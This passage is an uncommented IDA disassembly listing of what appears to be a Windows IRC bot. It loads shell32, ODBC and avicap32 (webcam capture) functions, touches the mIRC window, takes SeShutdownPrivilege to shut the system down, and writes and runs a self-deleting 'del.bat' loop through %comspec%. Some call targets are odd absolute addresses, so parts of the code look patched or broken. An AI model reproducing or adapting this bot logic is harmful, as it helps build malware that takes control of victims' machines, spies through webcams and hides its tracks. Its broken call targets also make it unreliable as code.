jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: sub_40981F+AEAj call near ptr 2670ADCh nop mov dword_43AEAC, eax loc_40A368: ; CODE XREF: sub_40981F+B26j ; sub_40981F+B2Ej ... mov dword_43AEA8, 1 loc_40A372: ; CODE XREF: sub_40981F+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3A7 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_43AD0C, eax call esi cmp dword_43AD0C, ebx mov dword_43AE0C, eax jz short loc_40A3B2 cmp eax, ebx jnz short loc_40A3BC jmp short loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej nop call near ptr 2670ADCh mov dword_43AEB4, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43AEB0, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43ADD4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43AE20, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43AD5C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43AD1C, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43ADB4, eax call esi cmp dword_43ADD4, ebx mov dword_43AD28, eax jz short loc_40A450 cmp dword_43AE20, ebx jz short loc_40A450 cmp dword_43AD5C, ebx jz short loc_40A450 cmp dword_43AD1C, ebx jz short loc_40A450 cmp dword_43ADB4, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j nop call near ptr 2670ADCh mov dword_43AEBC, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43AEB8, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43ACF0, eax call esi cmp dword_43ACF0, ebx mov dword_43ADC8, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j nop call near ptr 2670ADCh mov dword_43AEC4, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43AEC0, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43AE58, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43AE5C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43AE60, esi jz short loc_40A528 push dword_43AE64 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43AE68, esi jz short loc_40A55C push dword_43AE6C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43AE70, esi jz short loc_40A590 push dword_43AE74 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43AE78, esi jz short loc_40A5C4 push dword_43AE7C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43AE80, esi jz short loc_40A5F8 push dword_43AE84 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43AE88, esi jz short loc_40A62C push dword_43AE8C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43AE90, esi jz short loc_40A660 push dword_43AE94 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43AE98, esi jz short loc_40A694 push dword_43AE9C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43AEA0, esi jz short loc_40A6C8 push dword_43AEA4 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43AEA8, esi jz short loc_40A6FC push dword_43AEAC lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43AEB0, esi jz short loc_40A730 push dword_43AEB4 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43AEB8, esi jz short loc_40A764 push dword_43AEBC lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43AEC0, esi jz short loc_40A798 push dword_43AEC4 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Cp ; sub_40EE72+4AF5p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2670ADCh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2750000h nop lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43AEC8 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43AD68 test eax, eax jz short loc_40AAF6 push 1 call dword_43AD88 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi call near ptr 27607B7h nop push esi mov edi, eax nop call near ptr 2760000h call dword_43ADEC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43ADA4 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2770401h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 25D0000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43ADF4 push esi push 1 push 4C9h push ebp call dword_43ADF4 push ebx nop call near ptr 2770000h push edi nop call near ptr 2651922h push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43AE54 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 278062Eh push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 2780000h push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43ACE0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43AE68, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 279123Ah lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26707CBh mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2660000h push edi nop call near ptr 2651922h push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_436EDC mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2740D6Eh nop push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax nop call near ptr 26B0365h cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 279118Dh loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax call near ptr 2790000h nop lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2780B1Eh loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43ADD8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43AE1C test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43ACC0 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43AE14 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43AE14 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43AE10 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43AD3C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43B0CC movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43AD24 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43ADD8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43AE1C cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi nop call near ptr 26302E2h 